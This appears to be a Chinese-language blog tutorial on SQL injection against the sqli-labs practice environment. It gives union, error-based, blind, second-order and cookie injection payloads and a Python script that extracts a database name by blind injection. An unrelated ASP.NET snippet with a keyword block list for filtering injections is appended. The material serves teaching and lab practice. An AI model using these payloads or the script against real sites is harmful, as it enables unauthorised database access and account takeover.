SQL注入

SQL注入

概要
1,什么是SQL注入?
	web应用程序对用户输入的数据没有做过滤,前端传入的参数可控,可以被构造为恶意代码
被带入数据库查询,从而实现对数据库的操作或植入后门。
2,sql注入形成必要条件
	1)前端传入后端的参数可控
	2)传入的参数能够被带入数据库执行
常用函数以及注释
常用函数:
	database() :当前数据库
	user() : 当前用户
	version() : 当前MYSQL版本
	if() 、substr() 字符串截取、updatexml() 、sleep()、len()、ascii()、
	concat()等等;
常用注释符:
	# 或 %23(url编码)、 --+、--  单行注释
	/**/ 多行注释
	/*! */ 内联注释,其中的sql语句可以被执行
测试环境
sqli-labs 
主要攻击方式
0x01 union注入
基于单引号或者双引号的报错,并且页面有回显数据位置,后端没有对union做过滤
Less-1
payload:http://localhost:1111/Less-1/?id=1'  
由于单引号未闭合,导致数据库报错回显

在这里插入图片描述

闭合单引号,获取字段数,使用order by 加 二分法进行判断
payload: ' order by 3 %23

在这里插入图片描述

获取字段数后,进行union注入并查找回显位置,
union 联合查询:如果前面sql语句执行有返回值,则只返回前面sql语句查询结果,反之,
返回后面sql语句的查询结果
payload: ' and 0 union select 1,2,3 %23

在这里插入图片描述

确认回显位置,开始常规的sql注入即可:
获取数据库名payload: ' and 0 select 1,database(),3 %23

在这里插入图片描述

0x02 Boolean盲注
基于单引号或双引号未闭合的错误,页面没有回显数据位,只返回数据库查询的结果正确与否
Less-8

在这里插入图片描述

一般思路为,通过构造payload,通过python脚本自动的判断页面回显实现注入获取数据:
#******* 功能:Less-8跑库名 *******
import requests
# 定义请求的基础url
url = input("请输入sql注入的URL:")
# 数据库长度
db_len = 0
# 数据库名
db_name = ''

# 跑长度
def get_dblen(url):
    for i in range(20):
        #构造拼接了sql语句的url
        payload = url + "' and length(database()) = {0}%23".format(i)
        res = requests.get(payload)
        html = res.text
        #判断回显真假
        if "You are in..........." in html :
            print("数据库长度为: ",i)
            return i

# 跑库名
def get_dbName(db_len,url):
    db_name = ''
    for i in range(1,db_len+1):
        for x in range(0,255):
            payload = url + "' and ord(substr(database(),{0},1)) = {1} %23".format(i,x)
            res = requests.get(payload)
            html = res.text
            if "You are in..........." in html :
                db_name += chr(x)
    print("数据库名为:",db_name)
    return db_name

#调用
db_len = get_dblen(url)
db_name = get_dbName(db_len,url)

在这里插入图片描述

0x03 时间盲注
时间盲注与Boolean盲注同理,只不过是配合使用sleep函数监视页面的响应时间来完成注入;
0x04 报错注入
通过mysql中内置的一些函数会执行函数内部的sql语句并以报错的形式返回结果
如:updatexml()、extractvalue(),floor()等
Less-5

爆库名payload : ' and updatexml(1,concat(0x7e,database(),0x7e),1) %23
0x7e 是 ~
爆破表名等只需将构造好的sql语句放入updatexml()中即可
注:updatexml有长度限制,最多显示32位,可以使用left()和right()函数

在这里插入图片描述

0x05 二次注入
二次注入通常出现在用户注册界面以及用户查询界面;在注册界面,用户构造好sql
语句通过注册功能先将sql语句插入到数据库中,再使用登录或者其他查询功能将存储在
数据库中的sql语句拼接到后端sql代码中,从而产生二次注入;先存储,后利用;
Less-24
打开less-24是一个用户注册登录页面,在登录页面发现使用常规的sql注入看不见效果,查看
后端代码,使用了mysql_real_escape_string()函数对用户输入的数据进行了特殊字符转换
,因此转换思路,看向用户注册界面:

在这里插入图片描述

不妨先注册一个带单引号的用户 abc' ,然后进数据库查看结果:发现是可以注册带有特殊字符
的用户名的

在这里插入图片描述

然后看到数据库中有一个admin用户,联想到页面的另一个功能是修改密码,我们
可以再次查看修改密码页面的源代码:
可以看到,除了从session中拿出的username以外的参数在拼接到更新密码的sql语句前是做
了特殊字符过滤的,所以我们可以是否可以注册一个admin '# 用户,然后通过修改密码页面
来达到无 admin 原密码直接修改新密码的目的呢?

在这里插入图片描述

我们先查询一下admin原密码是什么,然后尝试注册一个admin '#

在这里插入图片描述

接下来,先登录 admin'# ,然后使用修改密码功能进行密码修改:

在这里插入图片描述

重置admin'# 用户密码以后发现,admin'#用户的密码并没有被修改为123,而admin用户的
密码被重置为123

在这里插入图片描述

这是因为:在重置密码时,后端代码并没有对从session中拿出的username参数做特殊字符
转义,而从修改密码的页面传来的参数以及session中的username拼接到sql语句中使后端
的sql语句变成了:
UPDATE users SET PASSWORD='123' where username='admin'#' and password=''
最终实现了,在不知道admin原密码的情况下,重置了admin用户的密码;
解决办法:在数据存入数据库时,也做特殊字符的转义;
0X06 cookie注入(base64注入同理)
Less-20 ,在index.php界面,使用admin admin账号密码登录,显示了cookie、登录名,
密码,以及Your ID:8,可以先看到Less-20关的关键源代码部分:

在这里插入图片描述

可以看到,uname是直接从$_COOKIE中获取的,并且拼接到sql语句之前没有经过任何的过滤,
也就是没有check_input(),导致用户可以通过修改cookie的值,造成sql注入

在这里插入图片描述

因此使用BP抓包,对cookie字段的值进行修改,即可进行sql注入:
* 一开始登录的时候,是没有创建cookie的,输入了正确的账号密码之后,便形成了cookie:

在这里插入图片描述

在set-cookie之后,点击"follow redirection"对数据包进行重定向,然后在proxy模块 
Forword一下,便可以抓到带有登录信息cookie的包,然后就可以在cookie处进行注入:

在这里插入图片描述

加'\' 判断类型:判断为字符型

在这里插入图片描述

使用 ' --+ 进行闭合,然后可以进行union联合查询,或者可以使用updatexml报错注入,、

*** 例如联合注入:
获取数据库名:0' union select 1,2,database() --+ 

闭合之后进行常规的sql注入即可;

在这里插入图片描述

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
本人自己做的 登录和注册页面 sql防注入 网页查询 插入 更新数据库 省市三级联动 GridView的使用等等 里面的资料都很详细文件大小2.99 MB (3,143,053 字节) 解压后8.04 MB (8,431,678 字节) 下面是相关的代码 省市三级联动 <?xml version="1.0" encoding="utf-8"?> <area Country="China"> <province ID="0" provinceID="000000" province="请选择"> <City CityID="000000" City="请选择"> <Piecearea PieceareaID="110101" Piecearea="请选择" /> </City> </province> <province ID="1" provinceID="110000" province="北京市"> <City CityID="110100" City="市辖区"> <Piecearea PieceareaID="110101" Piecearea="东城区" /> <Piecearea PieceareaID="110102" Piecearea="西城区" /> <Piecearea PieceareaID="110103" Piecearea="崇文区" /> <Piecearea PieceareaID="110104" Piecearea="宣武区" /> <Piecearea PieceareaID="110105" Piecearea="朝阳区" /> <Piecearea PieceareaID="110106" Piecearea="丰台区" /> <Piecearea PieceareaID="110107" Piecearea="石景山区" /> <Piecearea PieceareaID="110108" Piecearea="海淀区" /> <Piecearea PieceareaID="110109" Piecearea="门头沟区" /> <Piecearea PieceareaID="110111" Piecearea="房山区" /> <Piecearea PieceareaID="110112" Piecearea="通州区" /> <Piecearea PieceareaID="110113" Piecearea="顺义区" /> <Piecearea PieceareaID="110114" Piecearea="昌平区" /> <Piecearea PieceareaID="110115" Piecearea="大兴区" /> <Piecearea PieceareaID="110116" Piecearea="怀柔区" /> <Piecearea PieceareaID="110117" Piecearea="平谷区" /> </City> <City CityID="110200" City="县"> <Piecearea PieceareaID="110228" Piecearea="密云县" /> <Piecearea PieceareaID="110229" Piecearea="延庆县" /> </City> sql防注入 2.添加全局应用程序类 void Application_BeginRequest(object sender, EventArgs e) { //SQL防注入 string Sql = "and|or|exec|insert|select|delete|update|count|char|truncate|declare|drop|create"; //把所有敏感字符串过滤 string[] sql_c = Sql.Split('|'); if (Request.QueryString != null) { foreach (string sl in sql_c) { if (Request.QueryString.ToString().IndexOf(sl.Trim()) >= 0) //查询字符串与敏感字符比较,如果匹配将记录IP地址,停止该页执行 { Response.Write("警告!你的IP地址:" + Request.ServerVariables["Remote_Addr"] + "已经被记录!不要使用敏感字符!");//获取攻击方IP地址 Request.ServerVariables["Remote_Addr"] Response.Write(sl); Response.Write(Request.QueryString.ToString()); Response.Write(Request.ServerVariables["Http_Referer"]); //请求的字符串内容 Response.Write("你的主机名是:"+Request.ServerVariables["SERVER_NAME"].Trim());//输出主机名 System.IO.StreamWriter sw= new System.IO.StreamWriter("c:\\a.txt"); sw.Write(DateTime.Now.ToString()+" IP地址"+Request.ServerVariables["Remote_Addr"]+"对网站进行SQL攻击"); sw.Close(); Response.End(); //停止该页执行 break; } } } } 3 存储过程 CREATE PROCEDURE Pro_Login @sno char(5), @password char(20) AS select sno from users where sno=@sno and password=@password GO CREATE PROCEDURE Pro_Score @sno char(5) AS select sno,cno,scgrade from sc where sno=@sno GO default1页面: protected void Button1_Click(object sender, EventArgs e) { string str = "server=.;Integrated Security=true;DataBase=student"; SqlConnection sqlconn = new SqlConnection(str); sqlconn.Open(); SqlCommand cmd = new SqlCommand("Pro_Login", sqlconn); cmd.CommandType=CommandType.StoredProcedure; SqlParameter parm1 = new SqlParameter("@sno", SqlDbType.Char, 5); SqlParameter parm2 = new SqlParameter("@password", SqlDbType.Char, 20); parm1.Direction = ParameterDirection.Input; parm2.Direction = ParameterDirection.Input; parm1.Value = TextBox1.Text; parm2.Value = TextBox2.Text; cmd.Parameters.Add(parm1); cmd.Parameters.Add(parm2); SqlDataReader dr = cmd.ExecuteReader(); if (dr.Read()) { Session["username"] = TextBox1.Text; Response.Redirect("Default2.aspx?sno=" + TextBox1.Text ); } else { Response.Write("用户名或密码错误"); }
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值